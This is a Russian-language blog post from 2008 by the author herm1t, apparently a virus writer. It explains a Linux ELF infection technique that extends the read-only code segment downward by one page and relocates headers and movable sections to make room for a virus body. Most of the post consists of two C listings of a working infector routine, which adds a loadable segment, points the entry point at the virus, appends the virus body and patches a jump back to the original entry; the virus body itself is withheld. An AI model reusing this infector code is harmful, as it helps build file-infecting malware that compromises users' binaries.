herm1t LIVE!ng room - Расширение сегмента кода [entries|archive|friends|userinfo]
herm1t

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

Расширение сегмента кода [Oct. 9th, 2008|02:36 pm]
Previous Entry Add to Memories Tell A Friend Next Entry
[Tags|, , , ]

Принцип «Работает — не трогай!» называют иногда «золотым правилом». Только вот беда, это «золотое» правило возвращает нас в бронзовый век. Если метод прост, надёжен и используется десяток лет, то никто и не пытается его улучшить. Пока не придёт кто-нибудь с непрокомпостированными мозгами, например Якуб Желинек. В начале сам допёр, разглядывая бинари, а потом сообразил, что именно так и работает prelink.

Метод, о котором идёт речь — это расширение кодового сегмента «вниз»:

В памяти До                       После
8047000 - - - - - - - - - - - -+-----------+ - -
                               | EHDR      |
8048000 +-----------+ - - - - -| PHDR  - - | - -
        | ELF       | entry -> | virus     |
        | PHDR      |          |           |
        | .interp   | _ _ _ _ _| .interp   | _ _
        :           :          :           :
        |           |          |           |
entry ->| .text     |          | .text     |
        |           |          |           |
        +-----------+          +-----------+
        |           |          |           |
        | .data     |          | .data     |
        |           |          |           |
        +-----------+          +-----------+

То есть, содержимое файла сдвигается на одну страницу от начала, затем вирус перемещает заголовок ELF и таблицу сегментов (чтобы освободившееся место не фрагментировалось) в новое начало файла и исправляет смещения в таблице секций (если не лень); размер (+ 4096) и адрес (- 4096) кодового сегмента. Казалось бы, ну что ещё тут можно сделать? А вот что.

Большая часть секций, расположенных в начале read-only сегмента, перемещаемые. Вирус в файле может располагаться не только после таблицы сегментов, но, к примеру после .hash или .dynstr. Сдвинуть можно (prelink/src/space.c, readonly_is_movable()) .interp, .note.ABI-tag, .hash, .dynsym, .gnu.version, .gnu.version_r, .rel(a).*. А так же .dynstr и (с минимальными услилиями по исправлению кода) .plt и .init. Кроме того сдвинуть можно PHT. Короче, вирус может хранить свою тушку в любом месте между концом EHDR и началом .text.

Ушел рисовать PoC

upd. можно смело добавлять новые записи в PHT:

        for (i = 0; i < ehdr->e_phnum; i++)
                /* find read-only segment */
                if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) {
                        MAKE_HOLE(0, 4096);
                        /* copy ELF header */
                        memmove(m, m + 4096, sizeof(Elf32_Ehdr));
                        ehdr = (Elf32_Ehdr*)m;
                        /* copy PHDRs */
                        memmove(m + sizeof(Elf32_Ehdr),
                          m + 4096 + ehdr->e_phoff,
                          ehdr->e_phnum * sizeof(Elf32_Phdr));
                        ehdr->e_phoff = sizeof(Elf32_Ehdr);
                        phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
                        /* fix reference to section table */
                        ehdr->e_shoff += 4096;
                        shdr = (Elf32_Shdr*)(m + ehdr->e_shoff);
                        /* adjust text segment */
                        phdr[i].p_vaddr -= 4096;
                        phdr[i].p_filesz += 4096;
                        phdr[i].p_memsz += 4096;
                        uint32_t u = phdr[i].p_vaddr;
                        /* fix PHT */
                        for (i = 0; i < ehdr->e_phnum; i++)
                                if (phdr[i].p_type == PT_PHDR) {
                                        phdr[i].p_offset = sizeof(Elf32_Ehdr);
                                        phdr[i].p_vaddr =
                                        phdr[i].p_paddr = u + sizeof(Elf32_Ehdr);
                                } else if (phdr[i].p_offset > 0)
                                        phdr[i].p_offset += 4096;
                        /* fix SHT */
                        for (i = 1; i < ehdr->e_shnum; i++)
                                if (shdr[i].sh_offset)
                                        shdr[i].sh_offset += 4096;
                        i = ehdr->e_phnum;
                        /* add new segment table entry */
                        phdr[i].p_type = PT_LOAD;
                        phdr[i].p_offset = l;
                        phdr[i].p_vaddr = phdr[i].p_paddr = u - 4096 + (l & 0xfff);
                        phdr[i].p_filesz = g->size;
                        phdr[i].p_memsz = g->size;
                        phdr[i].p_flags = PF_R | PF_X;
                        phdr[i].p_align = 0x1000;
                        /* set the entry point */
                        ehdr->e_entry = phdr[i].p_vaddr;
                        ehdr->e_phnum++;
                        u = old_entry - phdr[i].p_vaddr - 12;
                        /* clean the grabage */
                        for (i = (char*)&phdr[ehdr->e_phnum] - m;
                          i < shdr[1].sh_offset; i++)
                                m[i] = 0;
                        /* write the virus body */
                        lseek(h, 0, 2);
                        write(h, g->self, g->size);
                        pwrite(h, &u, 4, l + 8, 0);
                        break;
                }

upd готово. код самого вируса приводить не буду, только код "раздвигающий секции":

        uint32_t u, t, x, j;
        for (i = 0; i < ehdr->e_phnum; i++)
                if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
                        break;
        if (i == ehdr->e_phnum)
                goto badluck;

        MAKE_HOLE(0, 4096);
        memmove(m, m + 4096, sizeof(Elf32_Ehdr));
        ehdr = (Elf32_Ehdr*)m;
        memmove(m + sizeof(Elf32_Ehdr),
                m + 4096 + ehdr->e_phoff,
                ehdr->e_phnum * sizeof(Elf32_Phdr));
        ehdr->e_phoff = sizeof(Elf32_Ehdr);
        phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
        ehdr->e_shoff += 4096;
        shdr = (Elf32_Shdr*)(m + ehdr->e_shoff);
        phdr[i].p_vaddr -= 4096;
        phdr[i].p_filesz += 4096;
        phdr[i].p_memsz += 4096;
        u = phdr[i].p_vaddr;    

        Elf32_Dyn *dyn = NULL;
        for (x = 0, i = 0; i < ehdr->e_phnum; i++) {
                if (phdr[i].p_type == PT_PHDR) {
                        phdr[i].p_offset = sizeof(Elf32_Ehdr);
                        phdr[i].p_vaddr =
                        phdr[i].p_paddr = u + sizeof(Elf32_Ehdr);
                } else
                if (phdr[i].p_offset > 0)
                        phdr[i].p_offset += 4096;

                if (phdr[i].p_type == PT_INTERP)
                        x = phdr[i].p_vaddr;
                if (phdr[i].p_type == PT_DYNAMIC)
                        dyn = (Elf32_Dyn*)(m + phdr[i].p_offset);
        }
        for (t = 0, i = 1; i < ehdr->e_shnum; i++) {
                if (    t == 0 && x != 0 &&
                        shdr[i].sh_addr != x &&
                        shdr[i].sh_type != SHT_HASH &&
                        shdr[i].sh_type != SHT_DYNSYM &&
                        shdr[i].sh_type != SHT_REL &&
                        shdr[i].sh_type != SHT_RELA &&
                        shdr[i].sh_type != SHT_STRTAB &&
                        shdr[i].sh_type != SHT_NOTE &&
                        shdr[i].sh_type != SHT_GNU_verdef &&
                        shdr[i].sh_type != SHT_GNU_verneed &&
                        shdr[i].sh_type != SHT_GNU_versym &&
                        shdr[i].sh_type != SHT_GNU_LIBLIST )
                                t = i;
                if (shdr[i].sh_offset)
                        shdr[i].sh_offset += 4096;
        }
        x = (char*)&phdr[ehdr->e_phnum] - m;
        for (i = x; i < shdr[1].sh_offset; i++)
                m[i] = 0xaa;
        if (dyn == NULL)
                goto badluck;           
        /* move sections */
        for (i = 1; i < t; i++) {
                putc('.');
                memmove(m + x, m + shdr[i].sh_offset, shdr[i].sh_size);
//              bzero(m + shdr[i].sh_offset, shdr[i].sh_size);
                for (j = 0; j < ehdr->e_phnum; j++)
                        if (phdr[j].p_offset == shdr[i].sh_offset) {
                                phdr[j].p_offset = x;
                                phdr[j].p_vaddr = phdr[j].p_paddr = u + x;
                                break;
                        }
                for (j = 0; dyn[j].d_tag != DT_NULL; j++)
                        if (dyn[j].d_un.d_val == shdr[i].sh_addr) {
                                dyn[j].d_un.d_val = u + x;
                        }
                shdr[i].sh_offset = x;
                shdr[i].sh_addr = u + x;
                x += shdr[i].sh_size + 128;
        }

Картинка (промежутки залиты 0xaa, а не нулями. для наглядности):

LinkLeave a comment